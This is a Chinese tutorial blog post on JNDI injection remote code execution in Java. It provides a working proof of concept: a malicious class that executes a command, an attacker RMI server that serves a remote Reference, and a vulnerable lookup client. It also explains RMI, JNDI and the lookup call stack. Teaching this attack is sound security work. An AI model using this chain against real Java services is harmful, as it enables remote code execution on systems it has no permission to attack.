命令注入_JNDI注入远程命令执行

在2016年的BlackHat上,@pwntester分享了通过JNDI注入进行RCE利用的方法。JNDI注入利用方式比较简单。我们先看一下poc代码。

首先在攻击机上部署恶意代码exp.class。exp.class放在http://127.0.0.1:8001/目录下,所以攻击机需要开启http服务和rmi服务。

import java.io.IOException;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class exp extends UnicastRemoteObject {    public exp() throws IOException {        super();        System.out.println("exp exec");        Runtime.getRuntime().exec("calc");    }}

在攻击机上部署rmi服务(rmi sever)

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class server {    public static void main(String[] args) throws RemoteException, NamingException {        Registry registry = LocateRegistry.createRegistry(1099);        Reference reference =new Reference("exp","exp","http://127.0.0.1:8001/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);                registry.rebind("aa", referenceWrapper);        System.out.println("======= 启动RMI服务成功! =======");    }}

在靶机上存在有ctx.lookup("payload")payload为可控参数代码(client)

import javax.naming.Context;import javax.naming.InitialContext;public class client {    public static void main(String[] args) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        String uri = "rmi://127.0.0.1:1099/aa";        Context ctx = new InitialContext();        ctx.lookup(uri);    }}

jdk1.8.121之后需要添加System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true")

如此就可以执行任意命令了。这里涉及到了JNDI和RMI,懂得自然懂,不懂的话,看这里。

我们需要先了解几个知识点:

1.什么是RMI

2.什么是JNDI

3.为什么Reference要引用一个远程的类

4.JNDI调用栈

RMI:

      远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如:CORBA、WebService,这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。

     通俗来讲,rmi是客户端调用服务器的方法,并在服务端执行后返回结果。与JNDI不同,JNDI注入攻击者是rmi的服务端。JDK1.8.121之前版本rmi本身就有反序列化漏洞。rmi示例:

客户端:

import java.rmi.AccessException;import java.rmi.NotBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RegistryClient {    public static void main(String[] args) {        try {            Registry registry = LocateRegistry.getRegistry(1099);            HelloRegistryFacade hello;            hello = (HelloRegistryFacade) registry.lookup("HelloRegistry");            String response = hello.helloWorld("kali");            System.out.println("=======> " + response + " <=======");        } catch (NotBoundException | RemoteException e) {            e.printStackTrace();        }    }}
import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloRegistryFacade extends Remote {    String helloWorld(String name) throws RemoteException;}

服务端:

import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class rmi_server {    public static void main(String[] args) {        try {            // 本地主机上的远程对象注册表Registry的实例,默认端口1099            Registry registry = LocateRegistry.createRegistry(1099);            // 创建一个远程对象            HelloRegistryFacadeImpl hello = new HelloRegistryFacadeImpl();            // 把远程对象注册到RMI注册服务器上,并命名为HelloRegistry            registry.rebind("HelloRegistry", (HelloRegistryFacadeImpl) hello);            System.out.println("======= 启动RMI服务成功! =======");        } catch (RemoteException e) {            e.printStackTrace();        }    }}
import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloRegistryFacade extends Remote {    String helloWorld(String name) throws RemoteException;}
import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloRegistryFacadeImpl  extends UnicastRemoteObject implements HelloRegistryFacade{    public HelloRegistryFacadeImpl() throws RemoteException {        super();    }    @Override    public String helloWorld(String name) {        return "[Registry] 你好! " + name;    }}

JNDI:

       简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);

这是指通过context对象访问远程rmi对象。整个过程如下:

  1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;

  2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;

  3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;

  4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;

  5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

    InitialContext.lookup()调用栈为:

    getURLOrDefaultInitCtx("aa");getURLContext("aa");RegistryContext.lookup("aa");RegistryContext.decodeObject(referenceWrapper,"aa");NamingManager.getObjectInstance();factory.getObjectInstance(refInfo, name, nameCtx,environment);//创建恶意类对象

353b871e5b03124a2ea2270b85231af6.png

e822485214776411c119f2a01cacf36f.png

632e2557c86d37ba2433352b541492b1.png

0881927142e05ff0ee0a756560d65795.png

58aa82dbaff23ef32874bc6ee14b8b0a.png

为什么Reference要引用一个远程的类?因为服务端传给客户端的是一个Reference对象,如果这个对象里没有factory和factoryLaction的话只会在客户端本地查找恶意类,但是恶意类是存放的远程的。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值